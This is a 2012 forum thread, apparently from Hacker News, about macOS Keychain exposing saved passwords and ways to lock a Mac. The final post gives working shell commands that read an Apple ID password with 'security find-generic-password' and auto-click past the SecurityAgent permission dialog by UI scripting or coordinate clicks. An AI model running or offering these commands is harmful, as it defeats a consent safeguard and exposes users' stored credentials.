OSX password script for everyone to know • Hacker News Board

Re: OSX password script for everyone to know

#91

Post by dlikhten » Sat, Sep 15, 2012, 7:34 PM UTC

klodolph wrote: post #70

macchina wrote: post #38

Earlier quoted context omitted.

I don't think it's obvious that Keychain isn't automatically secure within a logged-in user account. Apple makes a big deal about their products being intuitive, "it just works." They really ought to implement the system that Lastpass and other password managers use and allow the user to separately "unlock" Keychain before the passwords autofill. *Edit: Actually it looks like you can set Keychain to lock automaticall…

Better yet, open "Keychain Access", go to the preferences general tab, and click "Show keychain status in menu bar". Voilà, now you can lock and unlock keychains without switching applications. (This has been around for a long time, too.)

Don't forget, unlike windows, LOCKING a mac is not easy. The only way I know is to use the lock command of Alfred. In windows: Windows + L = lock boom. Because of this, most people in the office leave their macs unsecured.

Re: OSX password script for everyone to know

#92

Post by reaperhulk » Sat, Sep 15, 2012, 8:29 PM UTC

dlikhten wrote: post #91

klodolph wrote: post #70

Earlier quoted context omitted.

Better yet, open "Keychain Access", go to the preferences general tab, and click "Show keychain status in menu bar". Voilà, now you can lock and unlock keychains without switching applications. (This has been around for a long time, too.)

Don't forget, unlike windows, LOCKING a mac is not easy. The only way I know is to use the lock command of Alfred. In windows: Windows + L = lock boom. Because of this, most people in the office leave their macs unsecured.

Ctrl-shift-eject (not the most intuitive combo, but here you go)

Re: OSX password script for everyone to know

#93

Post by javajosh » Sun, Sep 16, 2012, 4:39 AM UTC

Schlaefer wrote: post #76

javajosh wrote: post #52

While it is shocking to see your passwords scroll by in plaintext, a careful consideration of how to fix the problem, one realizes that the offered solution really isn't good enough. Many applications require your passwords in order to run, and the Keychain is the way OSX apps get those passwords. After a little thought, there are two solutions. First, and best, is to log out, and let your guest use a guest account.…

> The only saving grace is that OSX asks me if I want to allow an app to access that password. What do you mean with "only". It's asking you exactly for that reason.

I'm not entirely convinced that those dialogs can't be circumvented.

Re: OSX password script for everyone to know

#94

Post by lri » Mon, Sep 17, 2012, 6:32 AM UTC

javajosh wrote: post #93

Schlaefer wrote: post #76

Earlier quoted context omitted.

> The only saving grace is that OSX asks me if I want to allow an app to access that password. What do you mean with "only". It's asking you exactly for that reason.

I'm not entirely convinced that those dialogs can't be circumvented.

If access for assistive devices has been enabled, you can use UI scripting to click the allow buttons:

security find-generic-password -l AppleID -w & sleep 1; osascript -e 'tell app "System Events" to click button 2 of group 1 of window 1 of process "SecurityAgent"'

You could also use something like https://github.com/smerrill/os-x-click even if access for assistive devices wasn't enabled.

    security find-generic-password -l AppleID -w &
    sleep 1
    width=$(osascript -e 'tell app "Finder"
    item 3 of (get bounds of window of desktop)
    end')
    x=$(($width / 2 + 155))
    for y in $(seq 300 20 700); do
        ~/bin/click -x $x -y $y
        sleep 0.2
    done